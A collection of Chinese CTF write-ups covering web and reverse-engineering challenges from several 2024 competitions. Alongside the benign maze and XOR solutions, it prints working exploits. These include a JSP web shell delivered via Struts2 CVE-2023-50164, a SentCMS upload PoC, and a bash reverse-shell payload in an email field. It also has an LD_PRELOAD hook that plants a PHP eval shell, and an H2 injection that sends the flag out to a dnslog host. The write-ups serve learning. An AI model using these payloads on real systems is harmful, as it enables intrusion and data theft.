2024西湖论剑初赛 -- only_sql
知识点:LOAD DATA 读取客户端文件+UDF提权
AmiaaaZ's Site | MySQL 伪服务端读客户端任意文件
西湖打爆了,意料之中,只配复现了,还要感谢哥们的指导,把他博客挂起来鞭策了AsaL1n's blog,还参考了B牛的文章第七届 杭州西湖论剑网络安全大赛 Writeup - Boogiepop Doesn't Laugh (boogipop.com)
好好好,来看题。
题目给了一个数据库链接的页面,输入数据库地址,账号密码,就可发起链接
联想到mysql 的load data,主要还是看给的hint
LOAD DATA INFILE
语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。
LOAD DATA INFILE 是 SELECT ... INTO OUTFILE 的相对语句。把表的数据备份到文件使用SELECT... INTO OUTFILE ,从备份文件恢复表数据,使用 LOAD DATA INFILE 。
LOAD DATA 读取客户端文件
MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情
服务器上起一个[fake_mysql服务]GitHub - rmb122/rogue_mysql_server: A rouge mysql server supports reading files from most mysql libraries of multiple programming languages.
vps上起了恶意的mysql之后,用靶机去链接你的mysql服务器、
这里要注意的是在fake_mysql的config配置文件里先设置好想读的文件
源码在/var/www/html/query.php
然后在读取的过程中发现了本地的数据库
然后绑定,连接开搞
UDF提权
mysql自定义函数
自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。
udf在mysql5.1以后的版本中,存在于'mysql/lib/plugin'目录下,文件后缀为'.dll'或者.so文件
mysql引入自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
意思是从udf.dll文件里面引入这个自定义函数,现在就可以直接利用sys_eval这个函数来执行系统命令了
提权
对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
创建udf文件
我们可以利用mysql将我们的udf文件写入到相关的目录内
先使用select @@plugin_dir获取到相关的路径
然后写入我们的数据
掌握知识了,那么就来实现一下
登录密码执行sql语句
show variables like '%plugin%';
获取到plugin目录位置/usr/lib/mysql/p1ugin/
udf提权即可,参考师傅的MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)
linux是用.so window是用dll
SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';
创建完成之后就可以利用函数完成rce 了,这里复现的时候没环境了,直接嫖了下好哥们的图🤮
2020华南师大CTF新生赛 -- maze
知识点:逆向迷宫+动态调试
逆向工程入门:IDAwindows本地动态调试,linux远程动态调试及虚拟机配置_linux逆向远程调试-CSDN博客
拖进IDA反编译,查看main函数
flag长度限制为59,应该是迷宫的最短路径
并且发现了一个CreateMap函数,应该里面有关于迷宫的信息。点开来看
cs
int CreateMap()
{
int result; // eax
int v1; // [esp+4h] [ebp-Ch]
unsigned __int16 v2; // [esp+Ah] [ebp-6h]
int i; // [esp+Ch] [ebp-4h]
for ( i = 0; i <= 15; ++i )
{
v2 = num[i];//num数组有16个数
v1 = 1;//v2是无符号整型
do
{
map[16 * i + 16 - v1] = v2 & 1;//map是二维数组,有256个数。
v2 >>= 1;//相当于v2=v2/2^1
result = v1++;
}//这是转二进制
//v2按位与1,提取二进制最后一位数,v2在除以2,意思是不断把
//二进制每一位提取出来。相当于进制转换。
while ( result && v1 <= 16 );
}
return result;
}
这道迷宫题与其他不同,要我们根据函数生成迷宫
该程序的意思是把num中的每个数转为无符号整型再转为二进制储存再map数组中。原本16个数字变成16*16=256个数字。根据题意该迷宫是个16*16迷宫。因此我们想要得到迷宫,必须知道循环中每个v2的值。我想到通过动态调试一一记录下16个v2的值(该方法要有耐心,肯定有更好的方法)
接下来进行windows本地动态调试
设置断点
在locals里查看变量的值
写python脚本输出迷宫
cs
a=[0xffff,0x83F7,0xBBF7,0xBB17,0xBB57,0xB857,0xBF57,0xBF17,0xBFB7,0xBFB7,0x8611,0xF7B5,0xF7B5,0x7B4,0xFF87,0xFFFF]
print(a)
for i in a:
i=bin(i)
print(i)
入口是map[13][0],出口是map[13][15],0可走,1不可走
点开check函数
cpp
int __cdecl check(char *Str)
{
int v2; // eax
char Destination[4]; // [esp+1Ch] [ebp-7Ch] BYREF
char v4[96]; // [esp+20h] [ebp-78h] BYREF
size_t v5; // [esp+80h] [ebp-18h]
int v6; // [esp+84h] [ebp-14h]
int v7; // [esp+88h] [ebp-10h]
int i; // [esp+8Ch] [ebp-Ch]
v5 = strlen(Str);
*(_DWORD *)Destination = 0;
memset(v4, 0, sizeof(v4));
strcpy(Destination, Str);
v4[1] = 0;
if ( strcmp(Destination, "flag{") || Str[v5 - 1] != '}' )
return 0;
v7 = 13;
v6 = 0;//表示起点为map[13][0]
for ( i = 5; i < (int)(v5 - 1); ++i )
{
v2 = Str[i];
if ( v2 == 'l' )
{
++v6;//向右走
}
else
{
if ( v2 > 'l' )
return 0;
switch ( v2 )
{
case 'k':
--v7;//向上走
break;
case 'h':
--v6;//向左走
break;
case 'j':
++v7;//向下走
break;
default:
return 0;
}
}
if ( map[16 * v7 + v6] )//v6表示左右,v7表示上下
return 0;
}
return 1;
}
BFS
cpp
#include<bits/stdc++.h>
using namespace std;
int dir[4][2]={{1,0},{-1,0},{0,1},{0,-1}};
char s[4]={'l','h','j','k'};
int mp[17][17];
int vis[17][17];
int startx=14;int starty=1;
int flagx=14,flagy=16;
struct node
{
int x,y;
string step;
};
queue<node> Q;
void bfs()
{
node tmp;
tmp.x=startx,tmp.y=starty,tmp.step="";
Q.push(tmp);
while(!Q.empty())
{
node now=Q.front();
Q.pop();
vis[now.x][now.y]=1;
if(now.x==flagx&&now.y==flagy)
{
cout<<now.step<<endl;
return;
}
for(int k=0;k<4;k++)
{
int ux=now.x+dir[k][1];
int uy=now.y+dir[k][0];
if(vis[ux][uy]==1||mp[ux][uy]==1||ux<1||ux>16||uy<1||uy>16)
continue;
node tmp;
tmp.x=ux,tmp.y=uy,tmp.step=now.step+s[k];
Q.push(tmp);
}
}
}
int main()
{
memset(vis,0,sizeof(vis));
for(int i=1;i<=16;i++)
{
string S;
cin>>S;
for(int j=1;j<=16;j++)
{
if(S[j-1]=='0') mp[i][j]=0;
else mp[i][j]=1;
}
}
bfs();
return 0;
}
[HDCTF2023]basketball
来到主函数,很清晰的逻辑,分三步
第一步:爆破,求出一个hint
第二步:根据hint,求出str数组
第三步:最后求出flag
先将hint求出来,给了Str2数组
先看看f函数
再跟进text_66函数,发现是辗转相除法
写一个爆破脚本枚举一下
python
def f(k1_0, k2_0):
for i in range(len(str)):
k1_0 = (str[i] + k1_0) % 300
k2_0 = (str[i] + k2_0) % 300
str[i] ^= text_66(k1_0, k2_0)
def text_66(a, b):
aa = a
ba = b
if a < b:
aa, ba = ba, aa
if ba:
return text_66(ba, aa % ba)
else:
return aa
for x in range(100):
for y in range(100):
str = [0x55, 0x69, 0x68, 0x78, 0x21, 0x68, 0x72, 0x21, 0x60, 0x21,
0x69, 0x62, 0x65, 0x75, 0x21, 0x7C, 0x69, 0x6A, 0x75, 0x21,
0x48, 0x21, 0x69, 0x64, 0x6D, 0x71, 0x2B, 0x78, 0x6E, 0x74,
0x21, 0x68, 0x72, 0x2B, 0x73, 0x64, 0x6C, 0x68, 0x6F, 0x65,
0x21, 0x78, 0x6E, 0x74, 0x21, 0x75, 0x6E, 0x21, 0x62, 0x49,
0x64, 0x62, 0x6A, 0x21, 0x75, 0x69, 0x64, 0x21, 0x60, 0x73,
0x73, 0x60, 0x78, 0x21, 0x60, 0x6F, 0x65, 0x21, 0x75, 0x69,
0x73, 0x64, 0x64, 0x21, 0x6F, 0x74, 0x66, 0x63, 0x64, 0x73,
0x72, 0x21, 0x62, 0x60, 0x6F, 0x21, 0x77, 0x62, 0x64, 0x76,
0x21, 0x60, 0x72, 0x21, 0x60, 0x21, 0x66, 0x73, 0x6E, 0x74,
0x71, 0x00]
f(x, y)
for i in str:
if i < 33 or i > 127:
break
else:
print(''.join(chr(j) for j in str))
得到提示:(三个nugber可以作为一组进行查看)
全是300以内的数字,结合 三个为一组,联想到RGB。可以利用python的PTL库来构造一张彩色图像。
写出脚本
python
from PIL import Image
with open('D:\\re学习\\re的wp\\一些不知名的题\\basketball\\array.txt', 'r') as f:
data = f.readlines() # txt中所有字符串读入data
for line in data:
list = line.split(' ') # 将单个数据分隔开存好
# print(data)#相当于将txt里的字符串存在一个data数组中
# print(list)#将每一个数据单个隔开,变成单个字符或者数
# print(len(list))#长度验证 1072071
# print(637 * 561 * 3)# 1072071
# 提示中也有
f.close()
x = 637 # x坐标 通过对txt里的行数进行整数分解 宽度
y = 561 # y坐标 x * y = 行数 高度
im = Image.new("RGB", (x, y)) # 创建图片
index = 0
# 在Python中,PIL(Python Imaging Library)模块提供了putpixel方法,用于在图像中设置指定位置的像素颜色
for j in range(0, y): # 通过每个rgb点生成图片
for i in range(0, x):
im.putpixel((i, j), (int(list[index]), int(list[index + 1]), int(list[index + 2]))) # 将rgb转化为像素
index += 3
im.show() # 展现图片
得到一张图片:
根据文中提示
将它转为英文,长度为28:I want to play basketballI w
最后的脚本为:
python
code = [1,100,52,53,40,15,4,69,46,109,47,40,55,55,92,94,62,70,23,72,8,82,29,65,16,117,117,10]
str = 'I want to play basketballI w'
flag = ''
for i in range(28):
flag += chr(ord(str[i]) ^ code[i])
print(flag)
#HDCTF{$1AM_DVN|<_5|-|0|-|<U}
Swagger docs Plus -- 某校队招新赛
知识点:
第六届安洵杯的Swagger docs有玩吗,趁此机会复现一手吧。但似乎哪里有点不一样?
- hint1:proc目录在CTF中的利用参考资料 Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台
- hint2::Python原型链污染变体参考资料 Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖
- hint3:仔细比对原题源码与本题源码的区别,理解Python原型链污染变体漏洞的本质
- hint4:Python Flask框架 快速入门 快速上手_Flask中文网
详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户
2024RWCTF体验赛-WEB
感受:都是cve啊??。。。一开始打real直接傻了
Be-a-Security-Researcher
知识点:[CVE-2024-23897]Jenkins CLI 任意文件读取漏洞
奇安信攻防社区-通过补丁分析Jenkins任意文件读取漏洞(CVE-2024-23897) (butian.net)
Releases · TheBeastofwar/JenkinsExploit-GUI · GitHub
什么是Jenkins?
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。Jenkins 有一个内置的命令行界面(CLI),可从脚本或 shell 环境访问 Jenkins。处理 CLI 命令时, Jenkins 使用args4j库解析 Jenkins 控制器上的命令参数和选项。
Jenkins处理CLI命令的命令解析器中的expandAtFile功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标Jenkins更改了默认"Security"配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。
Jenkins【CVE-2024-23897】漏洞原理:
审代发现如果参数以@
开头,那么将会把@
后面的内容当作路径,建立一个File对象,并且会读取该文件的内容,并添加至result中返回。
而CLI参数可控,所以构造相应命令即可读取Jenkins中的文件
Jenkins新的漏洞啊,那没事了,工具一把嗦
python
java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ who-am-i @/flag
Be-More-Elegant
知识点:S2-066---Apache Struts2 文件上传漏洞(CVE-2023-50164)
什么是Apache Struts2
Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
【漏洞复现】Apache Struts2 CVE-2023-50164_cve-2023-50164 复现-CSDN博客
漏洞原理就算利用大小写和解析顺序来绕过过滤器,实现目录穿越的任意文件上传
python
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------397107011528970757432973128771
Content-Length: 768
Origin: http://47.99.57.31:8080
Connection: close
Referer: http://47.99.57.31:8080/
Cookie: JSESSIONID=39924630AA26CB97CB6C858419F00B6E
Upgrade-Insecure-Requests: 1
-----------------------------397107011528970757432973128771
Content-Disposition: form-data; name="FileUpload"; filename="1.txt"
Content-Type: text/plain
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
-----------------------------397107011528970757432973128771
Content-Disposition: form-data; name="fileUploadFileName";
Content-Type: text/plain
../../../views/2.jsp
-----------------------------397107011528970757432973128771--
将FileUpload开头首字母大写,然后构造如上数据包,即可实现目录穿越
访问http://47.99.57.31:8080/views/2.jsp?pwd=023\&i=/readflag即可回显flag
2024VNCTF -- TrySent
知识点:SentCMS未经授权的任意文件上传漏洞
打开后显示是一个cms网站管理系统,重点是个啥sentcms的
直接来看sentcms有什么漏洞
进一步信息搜集发现符合的漏洞
还搜到一篇文章照着来就行
Sentcms任意文件上传漏洞 | Hanayuzu'Blog
直接用文章给的poc打
POST /user/upload/upload HTTP/1.1
Host: target.com
Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728
Content-Length: 894
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Origin: https://info.ziwugu.vip/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"
test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"
image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"
164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg
JFIF
<?php phpinfo();?>
------WebKitFormBoundaryrhx2kYAMYDqoTThz--
返回phpinfo连接
访问,flag就在里面
当然,命令执行也是可以的
2024VNCTF -- CutePath
知识点:任意文件下载
一个页面,主要观察到它的下载,但是路径存在问题
翻了下js,果真发现惊喜 /chfs/downloaddir'+path+'.zip 看起来就不一般,试试这个能不能下载test
下载即可
curl manqiu.top:21592/chfs/downloaddir/%2f..%2f..%2f..%2f.%2fflag --output 1.zip
法二:目录穿越
还搜到一个方法
按照上述穿越下
可以看到一串base64加密的,解密后是账号密码:
登录看到有新功能,可以重命名文件.
我们找到flag.txt文件,但是不能查看,我们可以利用重命名将flag.txt文件传送到share_main目录下,这样我们就可以查看了:
直接将flag.txt重命名为**../../../../../home/ming/share_main/flag.txt**即可:
2024VNCTF -- codefever_again
知识点:正则过滤不严谨导致的命令拼接注入
VNCTF2024-WEB-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
赛后才知道附件里忘记删除的exp,666,gxn就是这样拿的一血,✌ 哭死。因为处于赛后复现,环境有问题,直接用gxn兄弟的图了(已取得本人同意)
正规解法:
看到出题师傅在github提的问题
出题人师傅是在注册时拼接了一个恶意的email,所以后端正则匹配不严谨,导致恶意账号能通过
形如:
0e1;bash${IFS}-c${IFS}'bash${IFS}-i>&/dev/tcp/vps/port<&1'@qq.com
然后在后面尝试的时候,看到我们就算注册以后,还能修改邮箱,那么是否可以注册正常的账号,再修改为恶意email呢?
我们先注册一个注册的账号:
再修改为恶意账号:
然后新建仓库和仓库组:
建完以后会发现一直在加载,说明弹shell成功:
2024VNCTF -- givenphp
知识点:whoami命令劫持
有个传文件到tmp目录下的功能,还有个设置环境变量的功能,并且会调用whoami命令。
看到putenv的时候一开始想用环境变量注入,但是看到waf,算了。
要用到文件上传和putenv的,可以想到是LD_PRELOAD劫持,只要劫持whoami命令就行
那么思路很明显,传个.so文件上去,然后设置环境变量试设置LD_PRELOAD=$PWD/xxxx.so即可
php
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
首先写个.c文件:
php
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
printf("hack you!!!");
system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/0e1G7.php");
return 0;
}
然后编译为.so文件:
php
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
构造个数据包,由于guess要我们猜匿名函数的名字,他会随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可
challenge=1&value=/tmp/uploaded_file_xxx.so&key=LD_PRELOAD&guess=%00lambda_20
上传exp:
python
import requests
url = "http://0872a471-3dfb-44ef-a9e1-a63ed9572c53.vnctf2024.manqiu.top/index.php"
data = {
"upload": 1
}
file = {
"file": open('hook.so', 'rb')
}
r = requests.post(url, data=data, files=file)
path = r.text[-45:]
for i in range(100):
param = {
"challenge": 1,
"key": "LD_PRELOAD",
"value": path,
"guess": '\x00lambda_20'
}
r = requests.get(url, params=param)
print(r.text)
然后访问页面即可rce:
2024VNCTF -- Zhi
知识点:CVE-2024-0603
看不明白,放个师傅的博客慢慢研究
VNCTF2024-ZhiCms & CVE-2024-0603 - 我的文章记录 (pysnow.cn)
2024HGAME -- 2048*16
知识点:本地搭建前端小游戏
直接把前端全部扒下来,自己搭建一个本地的环境,这里用vscode搭配live server插件搭建了一个。
然后看下js代码,这里混淆了一堆,实在是难看,就找关键的地方,题目所说的32768
找到了上面这个算式,他的结果就算32768,所以我们只需要将这里修改:
本地起服务,玩几下即可得到flag:
2024HGAME -- search4member
知识点:h2 sql注入
看源码中可以看到注入点:
这里可以拼接造成注入:
%' union select 1,2,3 //
那么也就可以执行sql语句了,直接来个rce:
python
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
输入以下payload带出flag:
python
a%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";%20 }$$%3B+%2F%2F
a%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgdGFjIC9mKnxiYXNlNjRgLnduYnJhcS5kbnNsb2cuY24=}|{base64,-d}|{bash,-i}')%3B+%2F%2F
或者直接堆叠注入
注册shell函数
python
SJTU%';CREATEALIASSHELLEXECAS$$Stringshellexec(Stringcmd)throws
java.io.IOException{java.util.Scanners=new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A");returns.hasNext()?s.next():"";}$$;SELECT*FROMmemberWHERE
introLIKE'%13
执行结果插入原表中
python
SJTU%';INSERTINTOmember(id,intro,blog)VALUES
('flag','flag',SHELLEXEC('cat/flag'));SELECT*FROMmemberWHEREintroLIKE
'%13
查询flag
2024HGAME -- WebVPN
知识点:原型链污染
审源码可以看到update那里很明显的原型链污染,直接传
python
POST /user/info HTTP/1.1
Host: 106.14.57.14:31371
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: my-webvpn-session-id-202c35e8-7d61-4228-8278-93f8f662551f=s%3AaFLajep37rbWq895NmUZTymAgCGqTEE5.ZdUxLauYiFTmPI7W8x2eqbVlZQEdNDpzIldfVQqotCA
Upgrade-Insecure-Requests: 1
If-None-Match: W/"2fb-vN/YK1PeVghRxrmf1mEfj9Me4gw"
Content-Type: application/json
Content-Length: 49
{"constructor":{"prototype":{"127.0.0.1": true}}}
再回到home页面,看到污染成功
ssrf 获取flag,直接访问即可
得到Proxy文件,打开即为flag